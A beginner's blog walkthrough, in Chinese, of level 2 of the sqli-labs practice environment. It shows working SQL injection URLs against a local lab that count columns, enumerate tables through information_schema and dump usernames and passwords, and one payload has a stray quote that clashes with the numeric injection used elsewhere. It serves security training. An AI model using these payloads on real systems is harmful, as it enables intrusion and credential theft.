sqli2

 qli_labs第二关

1.安装phpstudy和搭建靶场环境

  1. https://github.com/Audi-1/sqli-labs下载源代码
  2. 搭建环境用的是phpstudy
  3. 编辑sqli\sql-connections\db-creds.inc文件 修改mysql链接数据库帐号密码。具体自行百度

2.修改一下第一个index.php 的代码,让我们更好理解

sqli2

3.选择第二关,并在url最后面加上?id=1,出来如下界面

sqli2

4.判断是否有注入(判断是否未严格校验)

  1. 可控参数的改变能否影响页面显示结果

  sqli2

       2.是什么类型的注入

  sqli2

5.猜字段数量(使用order by 猜字段)  

  1. http://127.0.0.1/sqli-labs/sqli-labs-master/Less-2/?id=1 order by 3--+     //结果显示正常

  sqli2

  2. http://127.0.0.1/sqli-labs/sqli-labs-master/Less-2/?id=1 order by 4--+     //结果显示错误表示字段数量为3

  sqli2

6.将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位。

  1. http://127.0.0.1/sqli-labs/sqli-labs-master/Less-2/?id=-1 union select 1,2,3 --+//发现页面先输出了2和3,说明有2个显示位

  sqli2

7.利用mysql>5.0版本的一个数据库information_schema(可以查询数据库的表,字段,数据)

  1. information_schema下有两个比较重要的表tables,columns(一个查表的,一个是查字段的)

  sqli2

  2. tables表下有几个重要字段

  sqli2

  3. columns表下有几个重要字段

  sqli2

 

8.开始注出数据

  1.  使用下面的句子可注出当前数据库的所有表名

  http://127.0.0.1/sqli-labs/sqli-labs-master/Less-2/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

   sqli2

  2. 选择一个注出来的表名,通过information_schema数据库下columns表注出该表名所有字段

   http://127.0.0.1/sqli-labs/sqli-labs-master/Less-2/index.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and  table_name='users'--+     

  sqli2  

  3. 通过上述知道的数据库,表,字段,我们便可以注出数据

  http://127.0.0.1/sqli-labs/sqli-labs-master/Less-2/index.php?id=-1 union select 1,group_concat(concat_ws(':',id,username,password)),3 from users--+

  sqli2

 

最后我总结一下:我是一个小白,可能很多意思表达的不是很清楚,要是有啥讲错了的或者没注意到的欢迎大佬们斧正!

上一篇:sqli-lab环境搭建


下一篇:sqli-labs关卡1-15